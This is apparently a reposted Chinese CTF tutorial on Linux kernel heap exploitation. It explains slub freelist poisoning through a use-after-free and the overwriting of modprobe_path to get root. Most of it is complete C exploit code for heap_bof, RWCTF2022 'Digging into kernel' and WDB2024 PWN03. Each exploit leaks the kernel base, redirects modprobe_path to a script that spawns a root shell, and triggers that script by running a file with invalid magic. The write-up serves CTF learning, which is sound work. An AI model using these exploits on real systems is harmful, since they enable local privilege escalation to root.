前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path（虽然在高版本内核已经不可用了但ctf比赛还是比较常用的）。在通过两道道近期比赛的赛题来讲解。
Arbitrary Address Allocation
利用思路
通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是，内核的 slub 堆管理器缺少检查，因此对要分配的目标地址要求不高，不过有一点需要注意：当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。
当能够任意地址分配的时候，与 glibc 改 hook 类似，在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量，其值为 /sbin/modprobe ，因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行（execve）一个非法的文件（file magic not found），内核会经历如下调用链：
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()其中 call_modprobe() 定义于 kernel/kmod.c，我们主要关注这部分代码：
static intcall_modprobe(char *module_name, int wait)
{
//...
argv[0]= modprobe_path;
argv[1]="-q";
argv[2]="--";
argv[3]= module_name;/* check free_modprobe_argv() */
argv[4]=NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv,NULL);
if(!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。我们不难想到的是：若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件，内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
__int64 _request_module(
char a1,
__int64 a2,
double a3,
double a4,
double a5,
double a6,
double a7,
double a8,
double a9,
double a10,
...)
{
......
if( v19 )
{
......
v21 = call_usermodehelper_setup(
(__int64)&byte_FFFFFFFF82444700,// modprobe_path
(__int64)v18,
(__int64)&off_FFFFFFFF82444620,
3264,
0LL,
(__int64)free_modprobe_argv,
0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700 db 2Fh;/; __request_module+14B↑o ...
.data:FFFFFFFF82444701 db 73h; s
.data:FFFFFFFF82444702 db 62h; b
.data:FFFFFFFF82444703 db 69h; i
.data:FFFFFFFF82444704 db 6Eh; n
.data:FFFFFFFF82444705 db 2Fh;/
.data:FFFFFFFF82444706 db 6Dh; m
.data:FFFFFFFF82444707 db 6Fh; o
.data:FFFFFFFF82444708 db 64h; d
.data:FFFFFFFF82444709 db 70h; p
.data:FFFFFFFF8244470A db 72h; r
.data:FFFFFFFF8244470B db 6Fh; o
.data:FFFFFFFF8244470C db 62h; b
.data:FFFFFFFF8244470D db 65h; e
.data:FFFFFFFF8244470E db 0exp
#include "src/pwn_helper.h"
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9
size_t modprobe_path =0xFFFFFFFF81E48140;
size_t seq_ops_start =0xffffffff81228d90;
struct param {
size_t len;
size_t*buf;
longlong idx;
};
voidalloc_buf(int fd, struct param* p)
{
printf("[+] kmalloc len:%lu idx:%lldn", p->len, p->idx);
ioctl(fd, BOF_MALLOC, p);
}
voidfree_buf(int fd, struct param* p)
{
printf("[+] kfree len:%lu idx:%lldn", p->len, p->idx);
ioctl(fd, BOF_FREE, p);
}
voidread_buf(int fd, struct param* p)
{
printf("[+] copy_to_user len:%lu idx:%lldn", p->len, p->idx);
ioctl(fd, BOF_READ, p);
}
voidwrite_buf(int fd, struct param* p)
{
printf("[+] copy_from_user len:%lu idx:%lldn", p->len, p->idx);
ioctl(fd, BOF_WRITE, p);
}
intmain()
{
// len buf idx
size_t* buf =malloc(0x500);
struct param p ={0x20, buf,0};
printf("[+] user_buf : %pn", p.buf);
int bof_fd = open("/dev/bof", O_RDWR);
if(bof_fd <0){
puts(RED "[-] Failed to open bof." NONE);
exit(-1);
}
printf(YELLOW "[*] try to leak kbasen" NONE);
alloc_buf(bof_fd,&p);
free_buf(bof_fd,&p);
int seq_fd = open("/proc/self/stat", O_RDONLY);
read_buf(bof_fd,&p);
qword_dump("leak seq_ops", buf,0x20);
size_t kernel_offset = buf[0]- seq_ops_start;
printf(YELLOW "[*] kernel_offset %pn" NONE,(void*)kernel_offset);
modprobe_path += kernel_offset;
printf(LIGHT_BLUE "[*] modprobe_path addr : %pn" NONE,(void*)modprobe_path);
p.len =0xa8;
alloc_buf(bof_fd,&p);
free_buf(bof_fd,&p);
read_buf(bof_fd,&p);
buf[0]= modprobe_path -0x20;
write_buf(bof_fd,&p);
alloc_buf(bof_fd,&p);
alloc_buf(bof_fd,&p);
read_buf(bof_fd,&p);
qword_dump("leak modprobe_path", buf,0x30);
strcpy((char*)&buf[4],"/tmp/shell.shx00");
write_buf(bof_fd,&p);
read_buf(bof_fd,&p);
qword_dump("leak modprobe_path", buf,0x30);
if(open("/shell.sh", O_RDWR)<0){
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
}
system("echo -e '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
return0;
}
RWCTF2022 Digging into kernel 1 & 2
题目分析
start.sh
#!/bin/sh
qemu-system-x86_64
-kernel bzImage
-initrd rootfs.img
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr"
-cpu kvm64,+smep,+smap
-monitor null
--nographic
-s逆向分析
int __cdecl xkmod_init()
{
kmem_cache *v0;// rax
printk(&unk_1E4);
misc_register(&xkmod_device);
v0 =(kmem_cache *)kmem_cache_create("lalala",192LL,0LL,0LL,0LL);
buf =0LL;
s = v0;
return0;
}int __fastcall xkmod_release(inode *inode, file *file)
{
return kmem_cache_free(s, buf); // maybe double free
}void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 data;// [rsp+0h] [rbp-20h] BYREF
unsignedint idx;// [rsp+8h] [rbp-18h]
unsignedint size;// [rsp+Ch] [rbp-14h]
unsigned __int64 v6;// [rsp+10h] [rbp-10h]
// v3 __ : 0x8 rsp + 0x0
// v4 __ : 0x4 rsp + 0x8
// v5 __ : 0x4 rsp + 0xc
v6 = __readgsqword(0x28u);
if( a3 )
{
copy_from_user(&data, a3,0x10LL);
if( a2 ==0x6666666)
{
if( buf && size <=0x50&& idx <=0x70)
{
copy_from_user((char*)buf +(int)idx, data,(int)size);
return;
}
}
else
{
if( a2 !=0x7777777)
{
if( a2 ==0x1111111)
buf =(void*)kmem_cache_alloc(s,0xCC0LL);
return;
}
if( buf && size <=0x50&& idx <=0x70)
{
((void(__fastcall *)(__int64,char*,int))copy_to_user)(data,(char*)buf +(int)idx, size);
return;
}
}
xkmod_ioctl_cold();
}
}利用思路
关于内核基址获取，在内核堆基址（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去找堆的基址，之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base
#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)
#define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET))
/* Must be perfomed *after* relocation. */
trampoline_header =(struct trampoline_header *)
__va(real_mode_header->trampoline_header);
...
trampoline_header->start =(u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ;voidsecondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path =0xFFFFFFFF82444700;
voidqword_dump(char *desc, void *addr, int len)
{
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf(" %04x", i *8);
for(int j =0; j <4; j++){
i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf(" ");
}
printf(" ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
struct Data {
size_t*buf;
u_int32_t offset;
u_int32_t size;
};
voidalloc_buf(int fd, struct Data *data)
{
ioctl(fd,0x1111111, data);
}
voidwrite_buf(int fd, struct Data *data)
{
ioctl(fd,0x6666666, data);
}
voidread_buf(int fd, struct Data *data)
{
ioctl(fd,0x7777777, data);
}
intmain()
{
int xkmod_fd[5];
for(int i =0; i <5; i++){
xkmod_fd[i]= open("/dev/xkmod", O_RDONLY);
if(xkmod_fd[i]<0){
printf("[-] %d Failed to open xkmod.", i);
exit(-1);
}
}
struct Data data ={malloc(0x1000),0,0x50};
alloc_buf(xkmod_fd[0],&data);
close(xkmod_fd[0]);
read_buf(xkmod_fd[1],&data);
qword_dump("buf", data.buf,0x50);
size_t page_offset_base = data.buf[0]&0xFFFFFFFFF0000000;
printf("[+] page_offset_base: %pn", page_offset_base);
data.buf[0]= page_offset_base +0x9d000-0x10;
write_buf(xkmod_fd[1],&data);
alloc_buf(xkmod_fd[1],&data);
alloc_buf(xkmod_fd[1],&data);
data.size =0x50;
read_buf(xkmod_fd[1],&data);
qword_dump("buf", data.buf,0x50);
size_t kernel_offset = data.buf[2]-0xffffffff81000030;
printf("kernel offset: %pn", kernel_offset);
modprobe_path += kernel_offset;
close(xkmod_fd[1]);
data.buf[0]= modprobe_path -0x10;
write_buf(xkmod_fd[2],&data);
alloc_buf(xkmod_fd[2],&data);
alloc_buf(xkmod_fd[2],&data);
strcpy((char*)&data.buf[2],"/home/shell.sh");
write_buf(xkmod_fd[2],&data);
if(open("/home/shell.sh", O_RDWR)<0){
system("echo '#!/bin/sh' >> /home/shell.sh");
system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
system("chmod +x /home/shell.sh");
}
system("echo -e '\xff\xff\xff\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
return0;
}WDB2024 PWN03
利用思路
基本上和RWCTF2022 Digging into kernel 1 & 2是一样的，这道题大家拿去练手即可，建议大家自行分析题目，我只把我的exp贴在下面，但是建议大家自己写一个exp。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path =0xFFFFFFFF81E58B80;
voidqword_dump(char *desc, void *addr, int len)
{
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf(" %04x", i *8);
for(int j =0; j <4; j++){
i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf(" ");
}
printf(" ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
voidalloc_buf(int fd, int size)
{
printf("[+] kmalloc %dn", size);
ioctl(fd,0x0, size);
}
voidfree_buf(int fd)
{
printf("[+] kfreen");
ioctl(fd,0x1,0);
}
voidread_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_to_user %dn", size);
read(fd, buf, size);
qword_dump("read_buf", buf, size);
}
voidwrite_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_from_user %dn", size);
qword_dump("write_buf", buf, size);
write(fd, buf, size);
}
intmain()
{
size_t* buf =malloc(0x500);
int easy_fd;
easy_fd = open("/dev/easy", O_RDWR);
alloc_buf(easy_fd,0xa8);
free_buf(easy_fd);
read_buf(easy_fd, buf,0xa8);
size_t page_offset_base = buf[0]&0xFFFFFFFFF0000000;
printf("[*] page_offset_base %pn", page_offset_base);
buf[0]= page_offset_base +0x9d000-0x10;
write_buf(easy_fd, buf,0x8);
alloc_buf(easy_fd,0xa8);
alloc_buf(easy_fd,0xa8);
read_buf(easy_fd, buf,0xa8);
size_t kernel_offset = buf[2]-0xFFFFFFFF81000110;
printf("[*] kernel offset: %pn", kernel_offset);
modprobe_path += kernel_offset;
buf[0]= modprobe_path -0x20;
alloc_buf(easy_fd,0xa8);
free_buf(easy_fd);
write_buf(easy_fd, buf,0x8);
alloc_buf(easy_fd,0xa8);
alloc_buf(easy_fd,0xa8);
read_buf(easy_fd, buf,0x20);
strcpy((char*)&buf[4],"/shell.shx00");
write_buf(easy_fd, buf,0x30);
if(open("/shell.sh", O_RDWR)<0){
system("echo '#!/bin/sh' >> /shell.sh");
system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
system("chmod +x /shell.sh");
}
system("echo -e '\xff\xff\xff\xff' > /fake");
system("chmod +x /fake");
system("/fake");
return0;
}
前篇回顾
原文始发于微信公众号（蚁景网络安全）：kernel heap exploit（三）
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